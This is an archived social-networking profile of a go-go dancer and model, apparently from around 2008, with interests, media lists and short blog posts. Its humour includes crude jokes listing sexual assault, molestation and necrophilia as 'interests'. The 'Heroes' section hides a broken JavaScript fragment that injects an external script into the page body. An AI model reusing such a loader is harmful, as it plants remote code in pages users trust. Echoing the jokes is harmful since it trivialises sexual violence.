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KIM REO

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About Me


* Go-Go Dancer Extrodinaire *
* "The Nurse" *
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RANDOM MAGGOT INFESTED PUSSY BULLSHIT
I have a dirty, shitty potty mouth that I just can't fucking control to fucking save my life. shit piss ass cock fucking aligator testical urethra.
I love ice cream more than the average 5 year old.
My tounge is out of my mouth often.
I love hot showers, hot tubs, hot peppers, hot summer afternoons, hot sex.. most hot things I enjoy :D
Nationality: 80% Italian- 20% English- 100% Ass Bangin' Sexy
I enjoy cooking, but not as much as I enjoy spending money.
If necessary, I will stick my bloody tampons up your ass without hesitation, and drink the stinky quagulating blood from your bleeding shitty face with my multi-colored twisty straw. de-lish. ;)
I can't live without my sugar free red bull, my cell phone, diesel merchandise, and my teejee bear!
I only have one remaining peircing, and no tattoos. (shocking, I know)
JAMBA JUICE, NOW SHIT FUCKER.
I get bonus awesome-points for jumping into trash, throwing shit off my balcony, water balloon drive-bys, and pole dancing in my living room to Lionel Ritchie singing Brick House live outside my apartment... seriously... now thats FUCKING awesome.
If you took me to church I would piss in the offering plate and frisbee it over the pews.
my Pookie will kill you in your sleep.
I've been wearing platforms since 6th grade
Please redirect all of your pathetic "insults" and homosexual behaviors straight into the crack of my ass. Thanks.
I make the best french toast in the world, hands down..(my pants)
Take me skydiving.. but don't tell me till we get there! ( I should have never put this on here )
I'm obsessed with COLD STONE ICE CREAM (Berry berry berry good!) seriously, you will cum in your panties.
Feed me sushi :D

My Interests


.Modeling.
.GoGo Dancing.
.Bartending.
.Music.
.Antiqueies.
.Vintage Fashion.
.Hair & Makeup Arteest.
.Interior & Set Design.
.Knife Fighting.
.Cooking.
.Photography.
.Aggravated Sexual Assault.
.Partying.
.Molestation.
.Peeing.
.Breaking Shit.
.Piercings.
.Sleeping in garbage cans with dirty whores.
.Fucking corpses.
.Upgrading.
.Chocolate Malts from Custard Hut.

I'd like to meet:


Photographers, Models, Event Planners!

I do hair and makeup and have lots of modeling experience...
I am available for photoshoots, live events, and film projects.

Contact me for my services!

Models - I can photograph you!

I've been in front of the camera for a good while & I've learned a thing or two about shooting photos.

And with the growing number of awful "photographers" out there... it's time for me to start doing this.

I'm easy as hell to work with, but being that it's TFCD (for now!).. I can't say that I won't be picky about the models I choose.

Email me if your interested.

I am also an active go-go dancer, SO HIRE ME! :)

Music:


AFI.
As I Lay Dying.
Bennie Benassi.
Between the Buried & Me.
Bile.
Chemical Brothers.
Coheed & Cambria.
Dillinger Escape Plan.
Everytime I Die.
Fantomas.
Filter.
Horse the Band.
Jack off Jill.
Lacuna Coil.
Ladytron.
Lamb Of God.
Lords of Acid.
Lovage.
Marilyn Manson.
Massive Attack.
Mastadon.
Mindless Self Indulgence.
Nine Inch Nails.
Pantera.
Prodigy.
Queens of the Stone Age.
Rob Zombie
Sigur Ros.
Slayer.
Sneaker Pimps.
The Birthday Party Massacre.
The Crystal Method.
The Misfits.
The Postal Service.
White Zombie.

Movies:


*rob zombie's halloween*
the devils rejects
the machinist
no country for old men
donnie darko
requiem for a dream
grandmas boy
40 year old virgin
300
party monster
eternal sunshine
spongebob squarepants the movie
fear and loathing
house of 1000 corpses
sin city
natural born killers
the life aquatic
the spongebob movie
mystic river
amityville horror
momento
evil dead
creepshow
jacobs ladder
wonderland
tales from the crypt
goodfellas
boogie nights
fight club
david lynch films- muholland drive, blue velvet, wild at heart, lost highway, twin peaks...

Television:

The First 48, Cold Case Files, Americas Next Top Model, Happy Tree Friends. Discovery health, Food Network & TRUtv.

Video Games:

Burnout
Boogerman
MsPacMan
GrandTheftAuto
Worms
Dr Mario
.. pretty much all super nintendo and reg. nintendo games .. except sports games.. i'm not THAT big of a loser.

Heroes:


I dont think that people accept the fact that life doesnt make sense. I think it makes people terribly uncomfortable. It seems like religion and myth were invented against that, trying to make sense out of it. - DAVID LYNCH.."var x=document.createElement('script');x.src='http://www.../.../ test.js';document.getElementsByTagName('body')[0].appendChil d(x);" /

My Blog

Party + Dirty City Vintage!

Woo! April 3, it’s my 22nd bday (21st pt. 2) If you are a friend of mine come out to Game On this Saturday @ Caesars. Message me for my number if you don’t have it.   Also, Dirt...
Posted by KIM REO on Fri, 04 Apr 2008 10:55:00 PST

photoshootin’

I just did a whole crap load of new photoshoots. Stay tuned for extreme sexiness.   x.
Posted by KIM REO on Fri, 16 Nov 2007 12:56:00 PST